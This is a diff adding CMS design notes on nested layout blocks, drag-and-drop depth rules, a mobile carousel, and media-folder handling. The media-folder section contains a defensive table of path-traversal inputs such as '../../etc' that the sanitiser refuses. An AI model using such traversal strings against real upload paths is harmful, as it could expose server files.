Before this, a page was a flat list of blocks. Now it is a tree, and the tree is
|
|
4
|
+
the part that can lose someone's work: a move that silently drops a block is a
|
|
5
|
+
data-loss bug that looks like a UI glitch.
|
|
6
|
+
|
|
7
|
+
Everything about the shape of that tree lives in `src/blocks/block-tree.ts`:
|
|
8
|
+
insertion, moving, duplication, and `flattenBlockTree`, which yields every block
|
|
9
|
+
on a page including the ones sitting inside layout columns.
|
|
10
|
+
|
|
11
|
+
Anything that asks a question *about the blocks on a page* goes through
|
|
12
|
+
`flattenBlockTree` instead of iterating the root array. Global-reference
|
|
13
|
+
resolution, the countdown reveal scheduler, the "one global block per section"
|
|
14
|
+
check and the global usage scan all do. A root-only scan is the shape of bug
|
|
15
|
+
that makes a feature quietly stop working the moment an editor drags the block
|
|
16
|
+
into a column — nothing throws, the feature just misses.
|
|
17
|
+
|
|
18
|
+
`LayoutBlock` is the exception, and only because there rendering *is* the
|
|
19
|
+
recursion: it walks its own `props.columns` to draw them.
|
|
20
|
+
|
|
21
|
+
## The layout block
|
|
22
|
+
|
|
23
|
+
```ts
|
|
24
|
+
LAYOUT_BLOCK_TYPE = "layout"
|
|
25
|
+
LAYOUT_MIN_COLUMNS = 2
|
|
26
|
+
LAYOUT_MAX_COLUMNS = 8
|
|
27
|
+
MAX_LAYOUT_DEPTH = 3
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
A layout block's `props.columns` is `BlockInstance[][]` — one array per column.
|
|
31
|
+
Column count is chosen per breakpoint:
|
|
32
|
+
|
|
33
|
+
| Breakpoint | Choices | Class |
|
|
34
|
+
| --- | --- | --- |
|
|
35
|
+
| Desktop (`lg:`) | 2–8 | `lg:grid-cols-N` |
|
|
36
|
+
| Tablet (`sm:`) | 2, 3 or 4 | `sm:grid-cols-N` |
|
|
37
|
+
| Mobile | always 1 | `grid-cols-1` |
|
|
38
|
+
|
|
39
|
+
Mobile is not configurable. Two columns on a 375px screen is two unreadable
|
|
40
|
+
columns, and every site that has offered the option has ended up with one.
|
|
41
|
+
|
|
42
|
+
Narrowing a layout from four columns to two does **not** delete the contents of
|
|
43
|
+
columns three and four — `writeLayoutColumns` folds the overflow into the last
|
|
44
|
+
remaining column. Column count is a presentation choice; it is not a licence to
|
|
45
|
+
throw away blocks. The same function is pure: it returns a new tree and never
|
|
46
|
+
mutates the one passed in.
|
|
47
|
+
|
|
48
|
+
Gaps come from the theme spacing scale (`gap-0` / `gap-4` / `gap-8` / `gap-12`),
|
|
49
|
+
not from arbitrary pixel values. Every column carries `min-w-0`, because a grid
|
|
50
|
+
child's default `min-width: auto` lets a long unbroken string blow the column
|
|
51
|
+
wider than its track and push the page into horizontal scroll.
|
|
52
|
+
|
|
53
|
+
## Moving things
|
|
54
|
+
|
|
55
|
+
`moveBlockInTree(blocks, id, target)` returns a discriminated result rather than
|
|
56
|
+
throwing or silently no-op-ing:
|
|
57
|
+
|
|
58
|
+
```ts
|
|
59
|
+
type MoveResult =
|
|
60
|
+
| { ok: true; blocks: BlockInstance[] }
|
|
61
|
+
| { ok: false; reason: "self" | "descendant" | "too-deep" | "missing" };
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
The four refusals are the four ways a drag can be nonsense:
|
|
65
|
+
|
|
66
|
+
- `self` — dropping a block into itself.
|
|
67
|
+
- `descendant` — dropping a container into its own child, which would detach the
|
|
68
|
+
whole subtree from the document and leak it.
|
|
69
|
+
- `too-deep` — the depth rule, below.
|
|
70
|
+
- `missing` — the dragged id is not in the tree.
|
|
71
|
+
|
|
72
|
+
`canDropBlock` / `canNestAt` answer the same question without performing the
|
|
73
|
+
move, so the editor can grey out an invalid target instead of accepting the drop
|
|
74
|
+
and then undoing it.
|
|
75
|
+
|
|
76
|
+
### The depth rule
|
|
77
|
+
|
|
78
|
+
A drop is refused when `targetDepth + subtreeHeight(moving) > MAX_LAYOUT_DEPTH`.
|
|
79
|
+
|
|
80
|
+
It is the *height of what you are dragging* that matters, not just where it
|
|
81
|
+
lands. Dropping a plain text block into a column two levels down is fine;
|
|
82
|
+
dropping a layout that already contains a layout into the same place is not,
|
|
83
|
+
because the deepest leaf would end up at level four. `tests/layout-block.test.tsx`
|
|
84
|
+
asserts `subtreeHeight` explicitly at each step so the test states the rule
|
|
85
|
+
rather than encoding a fixture that happens to pass.
|
|
86
|
+
|
|
87
|
+
Every refusal test asserts the tree is **unchanged**, not merely that `ok` was
|
|
88
|
+
`false`. A refusal that half-applies is worse than a crash.
|
|
89
|
+
|
|
90
|
+
## Rendering
|
|
91
|
+
|
|
92
|
+
`PageRenderer` recurses through columns using the same registry as the top
|
|
93
|
+
level, so a block behaves identically wherever it sits. Unknown child types are
|
|
94
|
+
skipped, not rendered as an error — a page that lost one block to a version
|
|
95
|
+
mismatch should still show the other nineteen.
|
|
96
|
+
|
|
97
|
+
Empty columns render a `Column N` placeholder **in the builder only**. The public
|
|
98
|
+
page renders nothing for them.
|
|
99
|
+
|
|
100
|
+
## Icon cards on mobile
|
|
101
|
+
|
|
102
|
+
`src/ui/MobileCarousel.tsx` is a separate, opt-in concern: the Icon Cards block
|
|
103
|
+
takes `mobileLayout: "stack" | "slider"`, and `"stack"` — the default — produces
|
|
104
|
+
exactly the markup it always did. The desktop and tablet grid is unchanged in
|
|
105
|
+
both modes; the carousel only exists below `sm`.
|
|
106
|
+
|
|
107
|
+
It uses CSS scroll-snap (`snap-x snap-mandatory overflow-x-auto`) rather than a
|
|
108
|
+
carousel dependency. Swiping is the browser's own scrolling, so it is smooth on
|
|
109
|
+
a phone without any JavaScript running per frame.
|
|
110
|
+
|
|
111
|
+
Two details that were bugs first:
|
|
112
|
+
|
|
113
|
+
- Slides are located with `[data-cms-slide]`, never by child index. The track
|
|
114
|
+
also contains the `sr-only` element that names it, and counting that as a slide
|
|
115
|
+
put the indicator one card ahead of the one on screen.
|
|
116
|
+
- The class is `motion-safe:scroll-smooth`, not `scroll-smooth`. A stylesheet's
|
|
117
|
+
`scroll-behavior: smooth` overrides `scrollTo({ behavior: "auto" })`, so with
|
|
118
|
+
the plain class the reduced-motion path animated anyway.
|
|
119
|
+
|
|
120
|
+
Keyboard: the track is focusable and arrow keys step through slides, wrapping at
|
|
121
|
+
both ends. Autoplay is **off** unless switched on, pauses on interaction, exposes
|
|
122
|
+
a pause control with `aria-pressed`, never runs while the tab is hidden, and does
|
|
123
|
+
not run at all under `prefers-reduced-motion`. The interval is clamped by
|
|
124
|
+
`clampAutoplayMs`, so a mistyped `10` in the admin cannot produce a slideshow
|
|
125
|
+
that changes a hundred times a second.
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
# Media folders
|
|
2
|
+
|
|
3
|
+
`src/media/folders.ts` is the whole of it. Nothing else builds a storage path.
|
|
4
|
+
|
|
5
|
+
## Existing files do not move
|
|
6
|
+
|
|
7
|
+
The single most important property: **this change does not touch a byte of
|
|
8
|
+
existing media.** No file is relocated, no path is rewritten, no URL that works
|
|
9
|
+
today stops working. Old files sit at the root; new files go into folders; both
|
|
10
|
+
are listed together.
|
|
11
|
+
|
|
12
|
+
There is no migration because there is no migration that would be safe. Moving
|
|
13
|
+
objects in storage breaks every URL already pasted into a page, an email or a
|
|
14
|
+
customer's browser history, and storage moves are not transactional with the
|
|
15
|
+
database rows that point at them.
|
|
16
|
+
|
|
17
|
+
## Automatic month folders
|
|
18
|
+
|
|
19
|
+
The default upload mode files by month in the site's timezone:
|
|
20
|
+
|
|
21
|
+
```
|
|
22
|
+
2026-09/skargarden-sunset.jpg
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
`monthFolder(now, timezone)` is the only producer of that name, and
|
|
26
|
+
`isMonthFolder` recognises it, so the browser can tell an automatic folder from
|
|
27
|
+
one somebody named.
|
|
28
|
+
|
|
29
|
+
The site's timezone, not UTC: an upload at 01:00 on 1 September in Stockholm
|
|
30
|
+
belongs in `2026-09`, and filing it under `2026-08` because the server thinks in
|
|
31
|
+
UTC would put it in the wrong month for the only people who ever look.
|
|
32
|
+
|
|
33
|
+
## Custom folders, and the rule about them
|
|
34
|
+
|
|
35
|
+
An editor can type a folder for a batch instead. This is the input that reaches
|
|
36
|
+
the filesystem, so it is validated rather than trusted.
|
|
37
|
+
|
|
38
|
+
`sanitizeFolderSegment` keeps `A-Za-z0-9._-` and turns everything else into a
|
|
39
|
+
dash, then strips leading and trailing dots and dashes. The dangerous shapes are
|
|
40
|
+
therefore *structurally impossible* rather than blocked by a denylist:
|
|
41
|
+
|
|
42
|
+
| Input | Result |
|
|
43
|
+
| --- | --- |
|
|
44
|
+
| `../../etc` | `MediaFolderError` — see below |
|
|
45
|
+
| `/absolute` | `absolute` — leading separators are empty segments and are dropped |
|
|
46
|
+
| `a//b` | `a/b` |
|
|
47
|
+
| `C:\Users\x` | backslashes are separators too, so this is segments, never a drive |
|
|
48
|
+
| `Vinter 2026!` | `Vinter-2026` |
|
|
49
|
+
| `.hidden` | `hidden` |
|
|
50
|
+
| `a/b/c/d/e` | `a/b/c` — capped at `MEDIA_FOLDER_MAX_SEGMENTS` |
|
|
51
|
+
| `` (empty) | `""` → the automatic month folder |
|
|
52
|
+
|
|
53
|
+
`..` is **refused with an error, not rewritten.** `../../gallery` would sanitize
|
|
54
|
+
to the perfectly safe folder `gallery`, and uploading there would be harmless —
|
|
55
|
+
but it is not what was asked for. Silently filing someone's batch somewhere other
|
|
56
|
+
than where they said is a worse outcome than an error message, and a traversal
|
|
57
|
+
attempt deserves an answer rather than a shrug.
|
|
58
|
+
|
|
59
|
+
An empty folder is not an error: `assertMediaFolder` returns `""` and the caller
|
|
60
|
+
falls back to the month folder (`assertMediaFolder(input.folder) ||
|
|
61
|
+
monthFolder(...)`). Auto is the default, so "nothing typed" means "use the
|
|
62
|
+
default", not "use the bucket root".
|
|
63
|
+
|
|
64
|
+
Bounds are explicit: `MEDIA_FOLDER_MAX_SEGMENTS` (3),
|
|
65
|
+
`MEDIA_FOLDER_MAX_SEGMENT_LENGTH` (64), `MEDIA_FOLDER_MAX_LENGTH` (160). A
|
|
66
|
+
thousand-character path is not a legitimate use; it is either an accident or an
|
|
67
|
+
attempt.
|
|
68
|
+
|
|
69
|
+
`MediaFolderError` carries a message an editor can act on, naming what they
|
|
70
|
+
typed. `sanitizeMediaFolder` returns the cleaned string for the live preview
|
|
71
|
+
under the input, so the editor sees what they will get *before* uploading — the
|
|
72
|
+
sanitiser and the preview are the same function, so they cannot disagree.
|
|
73
|
+
|
|
74
|
+
Every upload path goes through `assertMediaFolder`. The check is server-side.
|
|
75
|
+
The browser preview is a courtesy, not the control.
|
|
76
|
+
|
|
77
|
+
## Browsing
|
|
78
|
+
|
|
79
|
+
The library has three modes:
|
|
80
|
+
|
|
81
|
+
- **Recent** — newest first across everything, paginated.
|
|
82
|
+
- **Folders** — `summarizeMediaFolders` groups paths into folders with counts;
|
|
83
|
+
root files appear under `ROOT_FOLDER_LABEL` ("Library root") rather than being
|
|
84
|
+
hidden, which matters because on an upgraded site that is where all the
|
|
85
|
+
existing media is.
|
|
86
|
+
- **Search** — by filename, paginated.
|
|
87
|
+
|
|
88
|
+
Pagination is real: the list requests a page at a time rather than fetching
|
|
89
|
+
every row and slicing in the browser. A library with 8,000 images is the normal
|
|
90
|
+
case after a few years, not an edge case.
|